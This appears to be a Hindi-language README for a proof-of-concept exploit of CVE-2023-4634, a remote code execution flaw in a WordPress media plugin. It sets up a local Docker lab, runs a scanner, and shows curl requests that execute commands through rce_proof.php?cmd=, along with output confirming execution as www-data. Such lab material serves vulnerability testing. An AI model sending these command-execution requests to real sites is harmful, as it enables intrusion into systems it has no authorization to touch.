
CVE-2023-4634 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, WordPress Media Library Assistant प्लगइन में एक रिमोट कोड निष्पादन भेद्यता। इसमें एक Docker-आधारित संवेदनशील वातावरण और स्वचालित स्कैनर शामिल है।
cd Stand
docker-compose up --build -d
sleep 60
curl -I http://localhost:8080
cd ../PoC/src
python3 scanner.py http://localhost:8080
# id कमांड का परीक्षण
curl "http://localhost:8080/rce_proof.php?cmd=id"
# ping कमांड का परीक्षण
curl "http://localhost:8080/rce_proof.php?cmd=ping+-c+2+127.0.0.1"
# साक्ष्य फ़ाइल बनाना
curl "http://localhost:8080/rce_proof.php?cmd=touch+/tmp/rce_proof"
[*] Scanning: http://localhost:8080
[+] WordPress is accessible
[+] Plugin found: v3.09
[+] Plugin is VULNERABLE!
[*] Testing RCE...
[+] id command executed
[+] ping command executed
[+] file_check command executed
[+] RCE CONFIRMED!
[+] Results saved to ../result.txt
{
"cve": "CVE-2023-4634",
"target": "http://localhost:8080",
"timestamp": "2025-12-21 13:49:19",
"vulnerable": true,
"findings": {
"wordpress": true,
"plugin_vulnerable": true,
"rce_id": true,
"rce_id_output": "uid=33(www-data) gid=33(www-data) groups=33(www-data)",
"rce_ping": true,
"rce_file_check": true
},
"plugin_version": "3.09",
"status": "VULNERABLE"
}
172.20.0.2:80 (localhost:8080 पर उपलब्ध)172.20.0.3:3306172.20.0.0/24id कमांड का निष्पादनping कमांड का निष्पादन/tmp/ में फ़ाइलें बनानाwww-data अनुमतियों की पुष्टिresult.txt में दस्तावेज़ित किए गएcd Stand
docker-compose down -v